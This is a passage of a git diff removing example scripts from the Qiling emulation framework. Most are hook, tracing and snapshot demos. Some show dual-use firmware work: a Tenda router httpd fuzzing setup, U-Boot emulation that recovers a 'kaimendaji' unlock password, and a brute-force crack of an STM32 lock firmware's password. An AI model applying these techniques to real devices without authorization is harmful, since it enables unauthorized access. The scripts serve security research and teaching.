len(sys.argv) > 2 and sys.argv[1] == "-t": - main(sys.argv[2], enable_trace=True) - else: - main(sys.argv[1]) diff --git a/examples/fuzzing/tenda_ac15/saver_tendaac15_httpd.py.orig b/examples/fuzzing/tenda_ac15/saver_tendaac15_httpd.py.orig deleted file mode 100644 index ca018af06..000000000 --- a/examples/fuzzing/tenda_ac15/saver_tendaac15_httpd.py.orig +++ /dev/null @@ -1,78 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - - -# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip -# 2. unzip -# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin -# 4. locate squashfs-root -# 5. rm -rf webroot && mv webroot_ro webroot -# -# notes: we are using rootfs in this example, so rootfs = squashfs-root -# - -import ctypes, os, pickle, socket, sys, threading -sys.path.append("..") -from qiling import * -from qiling.const import QL_VERBOSE - -def nvram_listener(): - server_address = 'rootfs/var/cfm_socket' - data = "" - - try: - os.unlink(server_address) - except OSError: - if os.path.exists(server_address): - raise - - # Create UDS socket - sock = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) - sock.bind(server_address) - sock.listen(1) - - while True: - connection, client_address = sock.accept() - try: - while True: - data += str(connection.recv(1024)) - - if "lan.webiplansslen" in data: - connection.send('192.168.170.169'.encode()) - else: - break - data = "" - finally: - connection.close() - - -def save_context(ql, *args, **kw): - ql.save(cpu_context=False, snapshot="snapshot.bin") - -def patcher(ql): - br0_addr = ql.mem.search("br0".encode() + b'\x00') - for addr in br0_addr: - ql.mem.write(addr, b'lo\x00') - - -def check_pc(ql): - print("=" * 50) - print("Hit fuzz point, stop at PC = 0x%x" % ql.arch.regs.arch_pc) - print("=" * 50) - ql.emu_stop() - - -def my_sandbox(path, rootfs): - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) - ql.add_fs_mapper("/dev/urandom","/dev/urandom") - ql.hook_address(save_context, 0x10930) - ql.hook_address(patcher, ql.loader.elf_entry) - ql.hook_address(check_pc, 0x7a0cc) - ql.run() - -if __name__ == "__main__": - nvram_listener_therad = threading.Thread(target=nvram_listener, daemon=True) - nvram_listener_therad.start() - my_sandbox(["rootfs/bin/httpd"], "rootfs") diff --git a/examples/hello_8086_dos.py.orig b/examples/hello_8086_dos.py.orig deleted file mode 100644 index c241e42ca..000000000 --- a/examples/hello_8086_dos.py.orig +++ /dev/null @@ -1,14 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -if __name__ == "__main__": - ql = Qiling(["rootfs/8086/dos/HI.DOS_COM"], "rootfs/8086/dos", verbose=QL_VERBOSE.DEFAULT) - ql.run() diff --git a/examples/hello_arm_linux_custom_syscall.py.orig b/examples/hello_arm_linux_custom_syscall.py.orig deleted file mode 100644 index 6ae06db2c..000000000 --- a/examples/hello_arm_linux_custom_syscall.py.orig +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -# customized system calls always use the same arguments list as the original ones, -# but with a Qiling instance as first argument -def my_syscall_write(ql: Qiling, fd: int, buf: int, count: int): - try: - # read data from emulated memory - data = ql.mem.read(buf, count) - - # select the emulated file object that corresponds to the requested - # file descriptor - fobj = ql.os.fd[fd] - - # write the data into the file object, if it supports write operations - if hasattr(fobj, 'write'): - fobj.write(data) - except: - ret = -1 - else: - ret = count - - ql.log.info(f'my_syscall_write({fd}, {buf:#x}, {count}) = {ret}') - - return ret - -if __name__ == "__main__": - ql = Qiling([r'rootfs/arm_linux/bin/arm_hello'], r'rootfs/arm_linux', verbose=QL_VERBOSE.DEBUG) - - # replacing a system call with a custom implementation. - # note that system calls may be referred to either by their name or number. - ql.os.set_syscall(0x04, my_syscall_write) - - # an possible alternative: refer to a syscall by its name - #ql.os.set_syscall('write', my_syscall_write) - - ql.run() diff --git a/examples/hello_arm_linux_debug.py.orig b/examples/hello_arm_linux_debug.py.orig deleted file mode 100644 index 4c7e502c2..000000000 --- a/examples/hello_arm_linux_debug.py.orig +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -if __name__ == "__main__": - ql = Qiling([r'rootfs/arm_linux/bin/arm_hello'], r'rootfs/arm_linux', verbose=QL_VERBOSE.DEBUG) - - ql.debugger = "qdb" # enable qdb without options - - # other possible alternatives: - # ql.debugger = "qdb::rr" # switch on record and replay with rr - # ql.debugger = "qdb:0x1030c" # enable qdb and setup breakpoin at 0x1030c - - ql.run() diff --git a/examples/hello_arm_qnx.py.orig b/examples/hello_arm_qnx.py.orig deleted file mode 100644 index 1bc5863a9..000000000 --- a/examples/hello_arm_qnx.py.orig +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling - -if __name__ == "__main__": - ql = Qiling(["rootfs/arm_qnx/bin/hello_static"], "rootfs/arm_qnx") - ql.run() diff --git a/examples/hello_arm_qnx_customapi.py.orig b/examples/hello_arm_qnx_customapi.py.orig deleted file mode 100644 index 8175e1be9..000000000 --- a/examples/hello_arm_qnx_customapi.py.orig +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_INTERCEPT, QL_CALL_BLOCK -from qiling.os.const import STRING - -def my_puts_onenter(ql: Qiling): - params = ql.os.resolve_fcall_params({'s': STRING}) - - print(f'puts("{params["s"]}")') - - return QL_CALL_BLOCK - -def my_printf_onenter(ql: Qiling): - params = ql.os.resolve_fcall_params({'s': STRING}) - - print(f'printf("{params["s"]}")') - - return QL_CALL_BLOCK - -def my_puts_onexit(ql: Qiling): - print(f'after puts') - - return QL_CALL_BLOCK - -if __name__ == "__main__": - ql = Qiling(["rootfs/arm_qnx/bin/hello_static"], "rootfs/arm_qnx") - ql.os.set_api('puts', my_puts_onenter, QL_INTERCEPT.ENTER) - ql.os.set_api('printf', my_printf_onenter, QL_INTERCEPT.ENTER) - ql.os.set_api('puts', my_puts_onexit, QL_INTERCEPT.EXIT) - ql.run() diff --git a/examples/hello_arm_set_filter.py.orig b/examples/hello_arm_set_filter.py.orig deleted file mode 100644 index a8b0d9931..000000000 --- a/examples/hello_arm_set_filter.py.orig +++ /dev/null @@ -1,14 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling - -if __name__ == "__main__": - ql = Qiling(["rootfs/arm_linux/bin/arm_hello"], "rootfs/arm_linux") - ql.filter = r"^open" - ql.run() diff --git a/examples/hello_arm_uboot.py.orig b/examples/hello_arm_uboot.py.orig deleted file mode 100644 index 90087f3d6..000000000 --- a/examples/hello_arm_uboot.py.orig +++ /dev/null @@ -1,74 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from qiling.os.const import STRING - -def get_kaimendaji_password(): - def my_getenv(ql: Qiling): - env = { - "ID" : b"000000000000000", - "ethaddr" : b"11:22:33:44:55:66" - } - - params = ql.os.resolve_fcall_params({'key': STRING}) - value = env.get(params["key"], b"") - - value_addr = ql.os.heap.alloc(len(value)) - ql.mem.write(value_addr, value) - - ql.arch.regs.r0 = value_addr - ql.arch.regs.arch_pc = ql.arch.regs.lr - - def get_password(ql: Qiling): - password_raw = ql.mem.read(ql.arch.regs.r0, ql.arch.regs.r2) - - password = '' - for item in password_raw: - if 0 <= item <= 9: - password += chr(item + 48) - else: - password += chr(item + 87) - - print("The password is: %s" % password) - - def partial_run_init(ql: Qiling): - # argv prepare - ql.arch.regs.arch_sp -= 0x30 - arg0_ptr = ql.arch.regs.arch_sp - ql.mem.write(arg0_ptr, b"kaimendaji") - - ql.arch.regs.arch_sp -= 0x10 - arg1_ptr = ql.arch.regs.arch_sp - ql.mem.write(arg1_ptr, b"000000") # arbitrary password - - ql.arch.regs.arch_sp -= 0x20 - argv_ptr = ql.arch.regs.arch_sp - ql.mem.write_ptr(argv_ptr, arg0_ptr) - ql.mem.write_ptr(argv_ptr + ql.arch.pointersize, arg1_ptr) - - ql.arch.regs.r2 = 2 - ql.arch.regs.r3 = argv_ptr - - - with open("../examples/rootfs/blob/u-boot.bin.img", "rb") as f: - uboot_code = f.read() - - ql = Qiling(code=uboot_code[0x40:], archtype="arm", ostype="blob", profile="uboot_bin.ql", verbose=QL_VERBOSE.OFF) - - image_base_addr = ql.loader.load_address - ql.hook_address(my_getenv, image_base_addr + 0x13AC0) - ql.hook_address(get_password, image_base_addr + 0x48634) - - partial_run_init(ql) - - ql.run(image_base_addr + 0x486B4, image_base_addr + 0x48718) - -if __name__ == "__main__": - get_kaimendaji_password() diff --git a/examples/hello_linuxx8664_intercept.py.orig b/examples/hello_linuxx8664_intercept.py.orig deleted file mode 100644 index d93b9c22b..000000000 --- a/examples/hello_linuxx8664_intercept.py.orig +++ /dev/null @@ -1,30 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_INTERCEPT -from qiling.os.linux.syscall_nums import SYSCALL_NR - -def write_onenter(ql: Qiling, fd: int, buf: int, count: int): - print("enter write syscall!") - - ql.arch.regs.rsi = buf + 1 - ql.arch.regs.rdx = count - 1 - -def write_onexit(ql: Qiling, fd: int, buf: int, count: int, retval: int): - print("exit write syscall!") - - ql.arch.regs.rax = count + 1 - -if __name__ == "__main__": - ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux") - - ql.os.set_syscall(SYSCALL_NR.write, write_onenter, QL_INTERCEPT.ENTER) - ql.os.set_syscall(SYSCALL_NR.write, write_onexit, QL_INTERCEPT.EXIT) - - ql.run() diff --git a/examples/hello_mips32_linux_customapi.py.orig b/examples/hello_mips32_linux_customapi.py.orig deleted file mode 100644 index 01fe30558..000000000 --- a/examples/hello_mips32_linux_customapi.py.orig +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.os.const import STRING -from qiling.const import QL_VERBOSE - -def my_puts(ql: Qiling): - params = ql.os.resolve_fcall_params({'s': STRING}) - - print(f'puts("{params["s"]}")') - -if __name__ == "__main__": - ql = Qiling(["rootfs/mips32_linux/bin/mips32_hello"], "rootfs/mips32_linux", verbose=QL_VERBOSE.DEBUG) - ql.os.set_api("puts", my_puts) - ql.run() diff --git a/examples/hello_mips32el_linux_debug.py.orig b/examples/hello_mips32el_linux_debug.py.orig deleted file mode 100644 index f60e988e8..000000000 --- a/examples/hello_mips32el_linux_debug.py.orig +++ /dev/null @@ -1,14 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -if __name__ == "__main__": - ql = Qiling(["rootfs/mips32el_linux/bin/mips32el_hello_static"], "rootfs/mips32el_linux", verbose=QL_VERBOSE.DEBUG) - ql.run() diff --git a/examples/hello_mips32el_linux_function_hook.py.orig b/examples/hello_mips32el_linux_function_hook.py.orig deleted file mode 100644 index 74d32c49e..000000000 --- a/examples/hello_mips32el_linux_function_hook.py.orig +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_INTERCEPT, QL_CALL_BLOCK, QL_VERBOSE -from qiling.os.const import STRING - -def my_puts_onenter(ql: Qiling): - params = ql.os.resolve_fcall_params({'s': STRING}) - - print(f'puts("{params["s"]}")') - return QL_CALL_BLOCK - -def my_puts_onexit(ql: Qiling): - print(f'after puts') - return QL_CALL_BLOCK - -if __name__ == "__main__": - ql = Qiling(["rootfs/mips32el_linux/bin/mips32el_double_hello"], "rootfs/mips32el_linux", verbose=QL_VERBOSE.DEBUG) - - ql.os.set_api('puts', my_puts_onenter, QL_INTERCEPT.ENTER) - ql.os.set_api('puts', my_puts_onexit, QL_INTERCEPT.EXIT) - - ql.run() diff --git a/examples/hello_x8664_gdb_macos.py.orig b/examples/hello_x8664_gdb_macos.py.orig deleted file mode 100644 index 99888e9e8..000000000 --- a/examples/hello_x8664_gdb_macos.py.orig +++ /dev/null @@ -1,15 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -if __name__ == "__main__": - ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - ql.debugger = "gdb:0.0.0.0:9999" - ql.run() diff --git a/examples/hello_x8664_linux_customapi.py.orig b/examples/hello_x8664_linux_customapi.py.orig deleted file mode 100644 index 57892c11e..000000000 --- a/examples/hello_x8664_linux_customapi.py.orig +++ /dev/null @@ -1,20 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.os.const import STRING -from qiling.const import QL_VERBOSE - -def my_puts(ql: Qiling): - params = ql.os.resolve_fcall_params({'s': STRING}) - - print(f'puts("{params["s"]}")') - -if __name__ == "__main__": - ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - ql.os.set_api('puts', my_puts) - ql.run() diff --git a/examples/hello_x8664_linux_disasm.py.orig b/examples/hello_x8664_linux_disasm.py.orig deleted file mode 100644 index 9719828df..000000000 --- a/examples/hello_x8664_linux_disasm.py.orig +++ /dev/null @@ -1,74 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from typing import Mapping -from capstone import Cs - -from qiling import Qiling - -def __map_regs() -> Mapping[int, int]: - """Map Capstone x86 regs definitions to Unicorn's. - """ - - from capstone import x86_const as cs_x86_const - from unicorn import x86_const as uc_x86_const - - def __canonicalized_mapping(module, prefix: str) -> Mapping[str, int]: - return dict((k[len(prefix):], getattr(module, k)) for k in dir(module) if k.startswith(prefix)) - - cs_x86_regs = __canonicalized_mapping(cs_x86_const, 'X86_REG') - uc_x86_regs = __canonicalized_mapping(uc_x86_const, 'UC_X86_REG') - - return dict((cs_x86_regs[k], uc_x86_regs[k]) for k in cs_x86_regs if k in uc_x86_regs) - -# capstone to unicorn regs mapping -CS_UC_REGS = __map_regs() - -def trace(ql: Qiling, address: int, size: int, md: Cs): - """Emit tracing info for each and every instruction that is about to be executed. - - Args: - ql: the qiling instance - address: the address of the instruction that is about to be executed - size: size of the instruction (in bytes) - md: initialized disassembler object - """ - - # read current instruction bytes and disassemble it - buf = ql.mem.read(address, size) - insn = next(md.disasm(buf, address)) - - nibbles = ql.arch.bits // 4 - color_faded = '\033[2m' - color_reset = '\033[0m' - - # get values of the registers referenced by this instruction. - # - # note: since this method is called before the instruction has been emulated, the 'rip' - # register still points to the current instruction, while the instruction considers it - # as if it was pointing to the next one. that will cause 'rip' to show an incorrect value - reads = (f'{md.reg_name(reg)} = {ql.arch.regs.read(CS_UC_REGS[reg]):#x}' for reg in insn.regs_access()[0]) - - # construct a human-readable trace line - trace_line = f'{insn.address:0{nibbles}x} | {insn.bytes.hex():24s} {insn.mnemonic:12} {insn.op_str:35s} | {", ".join(reads)}' - - # emit the trace line in a faded color, so it would be easier to tell trace info from other log entries - ql.log.info(f'{color_faded}{trace_line}{color_reset}') - -if __name__ == "__main__": - ql = Qiling([r"rootfs/x8664_linux/bin/x8664_hello"], r"rootfs/x8664_linux") - - # acquire a disassembler instance bound to arch - md = ql.arch.disassembler - md.detail = True - - # register the trace method to be called before each instruction - ql.hook_code(trace, user_data=md) - - # go! - ql.run() diff --git a/examples/hello_x8664_linux_part_debug.py.orig b/examples/hello_x8664_linux_part_debug.py.orig deleted file mode 100644 index cff9d088e..000000000 --- a/examples/hello_x8664_linux_part_debug.py.orig +++ /dev/null @@ -1,67 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -def dump(ql, *args, **kw): - ql.save(reg=False, cpu_context=True, snapshot="/tmp/snapshot.bin") - ql.emu_stop() - -if __name__ == "__main__": - ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEFAULT) - # load base address from profile file - X64BASE = int(ql.profile.get("OS64", "load_address"), 16) - # take a snapshot - ql.hook_address(dump, X64BASE + 0x1094) - ql.run() - - ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - X64BASE = int(ql.profile.get("OS64", "load_address"), 16) - ql.restore(snapshot="/tmp/snapshot.bin") - # enable gdbserver to listen at localhost address, port 9999 - ql.debugger = "gdb:0.0.0.0:9999" - begin_point = X64BASE + 0x109e - end_point = X64BASE + 0x10bc - ql.run(begin = begin_point, end = end_point) - -''' -Partial Execution: https://docs.qiling.io/en/latest/snapshot/ - -This example shows how to partially debug an elf file. First let the program run, hook at the main address and take a snapshot. Then resume the snapshot to construct a reasonable call_state (registers, memory mapping, dynamic library loading, etc) for our target piece of code, and directly assign the pc pointer to the beginning of the part you want to simulate. - -Run it with: - $ python3 hello_x8664_linux_part_debug.py - -Then in a new terminal start gdb remote debug: - $ gdb -q - (gdb) target remote localhost:9999 - Remote debugging using localhost:9999 - Reading /home/qiling/examples/rootfs/x8664_linux/bin/sleep_hello from remote target... - warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead. - Reading /home/qiling/examples/rootfs/x8664_linux/bin/sleep_hello from remote target... - Reading symbols from target:/home/qiling/examples/rootfs/x8664_linux/bin/sleep_hello...(no debugging symbols found)...done. - warning: unable to open /proc file '/proc/42000/task/42000/maps' - Reading /lib64/ld-linux-x86-64.so.2 from remote target... - Reading /lib64/ld-linux-x86-64.so.2 from remote target... - Reading symbols from target:/lib64/ld-linux-x86-64.so.2...Reading /lib64/ld-2.27.so from remote target... - Reading /lib64/.debug/ld-2.27.so from remote target... - (no debugging symbols found)...done. - 0x000055555555509e in ?? () - (gdb) x/8i $pc - => 0x55555555509e: lea 0xf83(%rip),%rdi # 0x555555556028 - 0x5555555550a5: callq 0x555555555060 - 0x5555555550aa: lea 0xf53(%rip),%rdi # 0x555555556004 - 0x5555555550b1: callq 0x555555555060 - 0x5555555550b6: xor %eax,%eax - 0x5555555550b8: add $0x8,%rsp - 0x5555555550bc: retq - 0x5555555550bd: nopl (%rax) - -The source code of sleep_hello can be found at qiling/examples/src/linux/sleep_hello.c. As the above gdb output shows, we skipped the sleep function to directly debug the code afterwards. -''' \ No newline at end of file diff --git a/examples/hello_x8664_linux_part_exec.py.orig b/examples/hello_x8664_linux_part_exec.py.orig deleted file mode 100644 index 9dd7530ce..000000000 --- a/examples/hello_x8664_linux_part_exec.py.orig +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -if __name__ == "__main__": - def dump(ql, *args, **kw): - ql.save(reg=False, cpu_context=True, snapshot="/tmp/snapshot.bin") - ql.emu_stop() - - ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - X64BASE = int(ql.profile.get("OS64", "load_address"), 16) - ql.hook_address(dump, X64BASE + 0x1094) - ql.run() - - ql = Qiling(["rootfs/x8664_linux/bin/sleep_hello"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DISASM) - # load base address from profile file - X64BASE = int(ql.profile.get("OS64", "load_address"), 16) - ql.restore(snapshot="/tmp/snapshot.bin") - # set execution starting and ending points - begin_point = X64BASE + 0x109e - end_point = X64BASE + 0x10bc - ql.run(begin = begin_point, end = end_point) \ No newline at end of file diff --git a/examples/hello_x8664_macos.py.orig b/examples/hello_x8664_macos.py.orig deleted file mode 100644 index 29b2bc869..000000000 --- a/examples/hello_x8664_macos.py.orig +++ /dev/null @@ -1,14 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE - -if __name__ == "__main__": - ql = Qiling(["rootfs/x8664_macos/bin/x8664_hello"], "rootfs/x8664_macos", verbose=QL_VERBOSE.DEBUG) - ql.run() diff --git a/examples/hello_x8664_windows_customapi.py.orig b/examples/hello_x8664_windows_customapi.py.orig deleted file mode 100644 index 522a8a393..000000000 --- a/examples/hello_x8664_windows_customapi.py.orig +++ /dev/null @@ -1,49 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_VERBOSE, QL_INTERCEPT -from qiling.os.windows.api import STRING -from qiling.os.windows.fncc import * - -@winsdkapi(cc=CDECL, params={ - "str" : STRING -}) -def my_puts(ql: Qiling, address: int, params): - ql.log.info(f'puts was overriden by this hook') - - # puts is expected to return the string length - return len(params["str"]) - -def my_onenter(ql: Qiling, address: int, params): - print(f'[onenter] _cexit : params = {params}') - - # return an alternative set of parameters to be used by the - # actual function, that will execute as soon as this one returns - params = { - 'hKey' : 0x80000001, - 'lpSubKey' : 'Software', - 'phkResult' : 0xffffcfb4 - } - - return address, params - -def my_onexit(ql: Qiling, address: int, params, retval: int): - print(f'[onexit] atexit : params = {params}') - -def my_sandbox(path, rootfs): - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) - - ql.os.set_api("_cexit", my_onenter, QL_INTERCEPT.ENTER) - ql.os.set_api("puts", my_puts, QL_INTERCEPT.CALL) - ql.os.set_api("atexit", my_onexit, QL_INTERCEPT.EXIT) - - ql.run() - -if __name__ == "__main__": - my_sandbox(["rootfs/x8664_windows/bin/x8664_hello.exe"], "rootfs/x8664_windows") diff --git a/examples/hello_x86_linux_fake_urandom.py.orig b/examples/hello_x86_linux_fake_urandom.py.orig deleted file mode 100644 index bada3f4a0..000000000 --- a/examples/hello_x86_linux_fake_urandom.py.orig +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -from sys import path -path.append('..') - -from qiling import Qiling -from qiling.os.mapper import QlFsMappedObject - -class Fake_urandom(QlFsMappedObject): - - def read(self, size): - return b"\x01" # fixed value for reading /dev/urandom - - def fstat(self): # syscall fstat will ignore it if return -1 - return -1 - - def close(self): - return 0 - -if __name__ == "__main__": - ql = Qiling(["rootfs/x86_linux/bin/x86_fetch_urandom"], "rootfs/x86_linux") - ql.add_fs_mapper("/dev/urandom", Fake_urandom()) - ql.run() diff --git a/examples/mcu/gd32vf103_blink.py.orig b/examples/mcu/gd32vf103_blink.py.orig deleted file mode 100644 index 003e5a1c5..000000000 --- a/examples/mcu/gd32vf103_blink.py.orig +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("../..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions.mcu.gd32vf1 import gd32vf103 - -ql = Qiling(['../rootfs/mcu/gd32vf103/blink.hex'], archtype="riscv64", ostype="mcu", - env=gd32vf103, verbose=QL_VERBOSE.DEBUG) - -ql.hw.create('rcu') -ql.hw.create('gpioa').watch() -ql.hw.create('gpioc').watch() - -delay_cycles_begin = 0x800015c -delay_cycles_end = 0x800018c - -def skip_delay(ql): - ql.arch.regs.pc = delay_cycles_end - -ql.hook_address(skip_delay, delay_cycles_begin) -ql.hw.gpioc.hook_set(13, lambda : print('Set PC13')) - -ql.run(count=20000) diff --git a/examples/mcu/stm32f407_gpio_hook.py.orig b/examples/mcu/stm32f407_gpio_hook.py.orig deleted file mode 100644 index 5d0c9dbe9..000000000 --- a/examples/mcu/stm32f407_gpio_hook.py.orig +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("../..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions.mcu.stm32f4 import stm32f407 -from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi - - -ql = Qiling(["../rootfs/mcu/stm32f407/ai-sine-test.elf"], - archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT) - -ql.hw.create('rcc') -ql.hw.create('pwr') -ql.hw.create('flash interface') -ql.hw.create('gpioa') -ql.hw.create('gpiob') -ql.hw.create('gpiod') -ql.hw.create('spi1') -ql.hw.create('crc') -ql.hw.create('dbgmcu') - -oled = PyGameSSD1306Spi(dc=(ql.hw.gpiod, 5)) -ql.hw.spi1.connect(oled) - -def indicator(ql): - ql.log.info('PA7 set') - -ql.hw.gpioa.hook_set(7, indicator, ql) -ql.hw.systick.ratio = 1000 - -ql.run(count=800000) diff --git a/examples/mcu/stm32f407_hack_lock.py.orig b/examples/mcu/stm32f407_hack_lock.py.orig deleted file mode 100644 index de41dad44..000000000 --- a/examples/mcu/stm32f407_hack_lock.py.orig +++ /dev/null @@ -1,63 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - - -import sys -from multiprocessing import Pool -from multiprocessing import Process - -sys.path.append("../..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions.mcu.stm32f4 import stm32f407 - - -def dicts(): - a = 0x79df7 - b = 0x75ee0 - c = 0xcc5ee - M = 0xf4247 - - for x in range(1, 20): - yield str((a*x*x + b*x + c) % M) - -# Cracking the passwd of lock -def crack(passwd): - ql = Qiling(["../../examples/rootfs/mcu/stm32f407/backdoorlock.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DISABLED) - - ql.hw.create('spi2') - ql.hw.create('gpioe') - ql.hw.create('gpiof') - ql.hw.create('usart1') - ql.hw.create('rcc') - - ql.hw.show_info() - - print('Testing passwd', passwd) - - ql.patch(0x8000238, b'\x00\xBF' * 4) - ql.patch(0x80031e4, b'\x00\xBF' * 11) - ql.patch(0x80032f8, b'\x00\xBF' * 13) - ql.patch(0x80013b8, b'\x00\xBF' * 10) - - ql.hw.usart1.send(passwd.encode() + b'\r') - - ql.hw.systick.set_ratio(100) - ql.run(count=1000000, end=0x8003225) - if ql.arch.effective_pc == 0x8003225: - print('Success, the passwd is', passwd) - else: - print('Fail, the passwd is not', passwd) - - del ql - -pool = Pool() -for passwd in dicts(): - pool.apply_async(crack, args=(passwd,)) - -pool.close() -pool.join() diff --git a/examples/mcu/stm32f407_mnist_oled.py.orig b/examples/mcu/stm32f407_mnist_oled.py.orig deleted file mode 100644 index 6055518d8..000000000 --- a/examples/mcu/stm32f407_mnist_oled.py.orig +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("../..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions.mcu.stm32f4 import stm32f407 -from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi - - -ql = Qiling(["../rootfs/mcu/stm32f407/mnist.bin", 0x8000000], - archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT) - -ql.hw.create('rcc') -ql.hw.create('gpiod') -ql.hw.create('spi1') -ql.hw.create('crc') -ql.hw.create('dbgmcu') - -oled = PyGameSSD1306Spi(dc=(ql.hw.gpiod, 5)) -ql.hw.spi1.connect(oled) - -ql.hw.systick.ratio = 1000 - -## a temporary method -def hook_smlabb(ql): - ql.arch.regs.r3 = ql.arch.regs.r2 + ql.arch.regs.r1 * ql.arch.regs.r3 - ql.arch.regs.pc = (ql.arch.regs.pc + 4) | 1 - -ql.hook_address(hook_smlabb, 0x8007a12) -ql.hook_address(hook_smlabb, 0x8007b60) - -ql.run() diff --git a/examples/mcu/stm32f411_dma_logger.py.orig b/examples/mcu/stm32f411_dma_logger.py.orig deleted file mode 100644 index 5ab10c515..000000000 --- a/examples/mcu/stm32f411_dma_logger.py.orig +++ /dev/null @@ -1,30 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("../..") - -from qiling.core import Qiling -from qiling.const import QL_VERBOSE -from 